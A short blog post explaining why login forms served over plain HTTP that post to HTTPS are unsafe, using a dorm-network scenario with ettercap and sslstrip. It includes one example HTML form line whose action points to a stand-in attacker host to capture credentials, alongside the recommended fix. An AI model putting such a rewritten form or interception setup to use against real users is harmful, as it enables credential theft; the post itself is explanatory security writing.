HTTP POST -> HTTPS = Bad Idea®

Cool taken from Paul Makowski of my 20% blog.

This will be a quick post (pun not intended) on why you should never allow anything sensitive to be sent from an unsecured page to an SSL-encrypted page. Many, many websites do this (Digg & Facebook quickly come to mind), and it’s a serious problem that has an easy solution.

When a user logs into a service, she has a reasonable expectation her credentials will be secured in transit. In the context of web applications, this means SSL.

A typical Facebook login goes like this:
1. Adam requests http://www.facebook.com
2. Facebook sends a response with:

<form method=“POST” action=”https://login.facebook.com/login.php?login_attempt=1″name=“menubar_login” id=“menubar_login”>

3. Adam enters his credentials and hits Login.

The problem with this is how does Adam know that the form he intends to submit to facebook.com is actually destined for facebook.com? As stated in step 2, facebook.com will return code to instruct Adam’s browser to post to an SSL secured page owned by Facebook. But what kind of assurance does Adam have that this is the code he received?

Consider the following scenario: Mallory uses something like ettercap on her university’s dorm network: she poisons the subnet traffic (her entire dorm building), tricking her fellow students’ computers to send all internet-bound traffic through her.

Mallory then uses Moxie Marlinspike’s sslstrip to automate an attack against Facebook. sslstrip will replace any responses from facebook.com with something like:

<form method=“POST” action=“http://www.attacker.com/”>

Unless Adam looked at the source code of the alleged response from facebook.com, he would be unaware that his credentials were actually going to be send to Mallory’s malicious web host.

After harvesting the credentials, Mallory continues employing sslstrip to make (possiblly SSL-secured) page requests on behalf of Adam, staying in the middle of the conversation and reading everything unencrypted on the wire. Or she could just reset the connection, forcing Adam to legitimately log in. After all, she got what she set out for; why let Adam continue to consume her resources?

The solution? Only offer login pages over SSL. Pretty simple 🙂

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: